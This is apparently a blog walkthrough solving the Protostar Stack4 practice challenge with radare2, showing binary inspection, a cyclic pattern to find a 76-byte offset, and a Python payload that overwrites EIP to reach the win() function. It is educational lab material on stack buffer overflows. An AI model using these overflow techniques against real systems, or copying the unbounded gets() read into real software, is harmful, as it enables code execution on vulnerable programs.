Exploiting Protostar Stack4 using radare2

2017, Dec 19    

Exploiting Protostar Stack4

Problem link

You can check previous problems here :

Problem source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

We will work in this problem as we do not have the C source code

First we want to know more info about the binary

$rabin2 -I stack4
arch     x86
binsz    22860
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       false
os       linux
pcalign  0
pic      false
relocs   true
relro    no
rpath    NONE
static   false
stripped false
subsys   linux
va       true

As you can clearly see, our binary is a 32bit ELF file, not stripped, the file isn’t protected with canaries , pic, nx or relro.

Let’s run the app and see it working

$ ./stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1]    22623 segmentation fault (core dumped)  ./stack4

Let’s have a look on what’s happening inside the app

We will start the app inside Radare2 and have a look in Visual Mode to try understanding how it’s working

$ python -c 'print "A" * 100' > payload.txt
$ cat payload.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ vim r2profile.rr2
$ cat r2profile.rr2
#!/usr/bin/rarun2
stdin=./payload.txt
$ r2 -d stack4 -e dbg.profile=r2profile.rr2
Process with PID 23438 started...
= attach 23438 23438
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> aas
[0xb7fdba30]> iE
[Exports]
vaddr=0x080483f4 paddr=0x000003f4 ord=056 fwd=NONE sz=20 bind=GLOBAL type=FUNC name=win
vaddr=0x08048408 paddr=0x00000408 ord=067 fwd=NONE sz=23 bind=GLOBAL type=FUNC name=main
[0xb7fdba30]> dcu main
Continue until 0x08048408 using 1 bpsize
hit breakpoint at: 8048408
[0x08048408]> VV

We used iE to get the address of win function because we will need it later in our exploit.

So our main Goal is to override eip with 0x080483f4

This how the function looks like in Visual Mode

  .----------------------------------------------.
  | [0x8048408] ;[gb]                            |
  |   ;-- main:                                  |
  |   ;-- eip:                                   |
  | (fcn) sym.main 23                            |
  |   sym.main ();                               |
  | ; var int local_10h @ esp+0x10               |
  |    ; DATA XREF from 0x08048357 (sym._start)  |
  | push ebp                                     |
  | mov ebp, esp                                 |
  | and esp, 0xfffffff0                          |
  |    ; 'P'                                     |
  | sub esp, 0x50                                |
  |    ; 0x10                                    |
  |    ; 16                                      |
  | lea eax, dword [local_10h]                   |
  | mov dword [esp], eax                         |
  | call sym.imp.gets;[ga]                       |
  | leave                                        |
  | ret                                          |
  `----------------------------------------------'

Now we’ll use a tool in radare’s framework called ragg2, which allows us to generate a cyclic pattern called De Bruijn Sequence and check the exact offset where our payload overrides the buffer.

$ ragg2 -P 100 -r > payload.txt
$ cat payload.txt
AAABAACAADAAEAAFAAGAAHAAIAAJA....AVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
$ r2 -d stack4 -e dbg.profile=r2profile.rr2
Process with PID 24705 started...
= attach 24705 24705
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41614141 code=1 ret=0
[0x41614141]> wopO eip
76

Now let’s create a new payload with the right value of eip

$ python -c 'print "A" * 76 + "\xf4\x83\x04\x08" + 20 * "B"' > payload.txt
$ r2 -d stack4 -e dbg.profile=r2profile.rr2
Process with PID 25011 started...
= attach 25011 25011
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> dc
code flow successfully changed
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 ret=0
[0x42424242]>

And we did it ;)